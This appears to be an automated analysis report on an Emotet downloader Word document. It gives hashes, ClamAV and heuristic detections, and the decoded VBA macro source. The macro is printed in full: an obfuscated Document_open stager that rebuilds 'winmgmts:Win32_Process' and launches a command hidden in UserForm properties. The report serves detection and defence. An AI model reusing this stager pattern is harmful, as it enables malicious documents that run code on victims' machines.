Office (OLE) malware analysis — malicious · 3fbb835fb750d7a4

MALICIOUS

Office (OLE)

80.4 KB Created: 2019-12-17 22:16:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: 9fab08b956e3e1be496624aff778aa8c SHA-1: 4deb392cc2aa216868765b8819e855707a9f6273 SHA-256: 3fbb835fb750d7a4d213f9eff791e4af3e4a85a15b3ee74c7dbfa57117074b1f

232 Risk Score

Heuristics 8

ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
Flnariua = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Ywooasabi.Nfclzxdo + "rocess"
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Eycvlgvx = VBA.CreateObject(Flnariua)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9724 bytes
SHA-256: `45d46240f8bd2ff8e579e7fe6646d6f69e4e8ba604fd187705d027868da43dbc`
Detection ClamAV: No threats found Obfuscation or payload: likely 113 of 191 identifiers look randomly generated (e.g. 'wii3j3j3g4nmi3j3j3g4gm') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Ywooasabi" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Nfclzxdo, 0, 0, MSForms, TextBox" Private Sub Document_open() For Fievjrjsli = Ujwjhbdnqujk To Apavwppvsggbq Upmbkpgojcnbt = Ytbnrusqlc Rpcglyqvexikg = Qsjovdhh Next Select Case Dncczaygrpzgw Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select For Dyzfszktgmtc = Zbtfwpjz To Ihwodrjxk Haiztixvjjnli = Efxpievsxl Ppcwrrdsblgdh = Syuvnlrmd Next Select Case Cslilnplhfhm Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select For Vdvzxoxpzvyc = Refktrrsmwrt To Mdosryfnn Smclzufyagb = Ucdcqyidlr Hflnleqctafo = Clvczkteyov Next Select Case Pvnguaprpuloc Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Ubttoyhxiaa End Sub Attribute VB_Name = "Lodzxqele" Attribute VB_Base = "0{259180D5-F120-48B3-84C9-1B0E0894E1A7}{1B817FF3-A86F-450E-9DC7-03A2226CA599}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Bmvbzirzdrybd" Function Teyclcfghm() For Qkedfhem = Hciqwbgsjdgb To Edtyaemhlr Jyzcxbyqs = Pifxbhgwpsuzb Lefzrrpps = Ggfcbrlddqvh Next Select Case Fuloozyp Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Gskkfvpajwgg = Ywooasabi.Nfclzxdo For Bswumlomb = Jgdyjoqsbvyf To Xkqpxvhsrrqlt Nqybhsao = Diorjcmnwoaxx Orolhyuts = Aebfxwgsu Next Select Case Aiodyxiaptvt Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Kufsizmmxzrbx = Gskkfvpajwgg + Lodzxqele.Dvbxsqsdb + Lodzxqele.Rnbbufmfp + Lodzxqele.Ffuzfmfosyid For Ugncvauqqm = Ktllicpdwqdus To Ljfuemqszxmp Jdpvldxh = Vdhpdcsklgjh Kkubmnvmrcmn = Ghwdynybfaowe Next Select Case Rrbsylbjw Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Jiavtohdeeb = Kufsizmmxzrbx + Lodzxqele.Lmlwkazjdfkb + Lodzxqele.Heyzfectj For Thtyszkkjipdo = Eggdiecwwpk To Isuwxnkt Ywovnwvttqnpx = Avqkxjiiib Tfaewmkhgti = Bvraptuf Next Select Case Stiumqoguwico Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Teyclcfghm = Xmzrxwfvdd + Jiavtohdeeb + Xmzrxwfvdd For Zrmzctseapmv = Jwwhjfbsimrt To Vohimqpxyuv Rfbhznwz = Uiksgjahjjbj Diodmxblu = Mgesgnrstm Next Select Case Yjoxmmfz Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select End Function Function Ubttoyhxiaa() For Rgqjsncqxvqi = Mwkpwiimhloi To Akudhmrsk Bryyfnuyw = Ooopjfyeukf Manbhdulmhv = Ncxujmbmwg Next Select Case Dmufdyvwile Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select XXXXX = "i3j3j3g4" Flnariua = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Ywooasabi.Nfclzxdo + "rocess" For Dswvesav = Flyqwgowr To Fpbaamffbod Zmznwqlg = Nnvoaiiohbk Vvefuqau = Xqjhazbvjwbn Next Select Case Xfwszwoqc Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Set Eycvlgvx = VBA.CreateObject(Flnariua) For Bzyipzpmqh = Nexojwkopxx To Zgjoqrxat Arplcwaqdqcxj = Hcetebpcqt Zpzpufanshylt = Gpxizphkv Next Select Case Uvlozsxy Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Hmhmpnvzoo = Flnariua + Lodzxqele.Kgwgzjkcp.ControlTipText + Lodzxqele.Vfjpzblnlqvd.ControlTipText For Eavkptxcacb = Enkcfbhkveqvz To Ouccnamh Ttlcikrygbx = Tbngjwfp Vofazlxrgknli = Mtzxstelq Next Select Case Ztdkuzdu Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Mbnujczdgscyl = Hmhmpnvzoo + Ywooasabi.Nfclzxdo For Oafaxhguq = Eqqsxzbxo To Rztvueaaby Hbwzhdatej = Dnpqsqfup Fhcnbupnki = Raatunziha Next Select Case Hojiltbwgrrs Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Set Ubttoyhxiaa = CreateObject(Mbnujczdgscyl) For Ojxktucm = Mtabqnfhdbqo To Mbhqxrgqepmp Okpdoxhqsbfdl = Lmzigyrn Tlvolobffst = Adjvjgktga Next Select Case Cmgcbwwdnvlm Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Ubttoyhxiaa.XSize = False For Vamxfeeosxg = Hgxquofjv To Wobctnhojbfrv Btvryvigjtwxd = Eabnaqcbvfprx Pbmwmlne = Nirjwpds Next Select Case Fpidhyralidla Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Ubttoyhxiaa.YSize = False For Vqqbwlxvuf = Ayaeoecghlhyk To Igphnzug Twrfmrei = Amlamafdkjs Ipoexdxfro = Hkbuudpevdvv Next Select Case Mtqwdickiqyn Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Do While Eycvlgvx.Create(PPPP & Teyclcfghm, Sxbyagxtsbm, Ubttoyhxiaa, Eegsxzej) Loop For Nnoceyoqi = Rtgkzwkivvxno To Sbztstpmazz Pfvaquzj = Giblslqazd Mrpacchgk = Htqzwxuzhn Next Select Case Kqiwajzahojs Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select End Function

Open this report in the interactive analyzer, or submit your own file for analysis.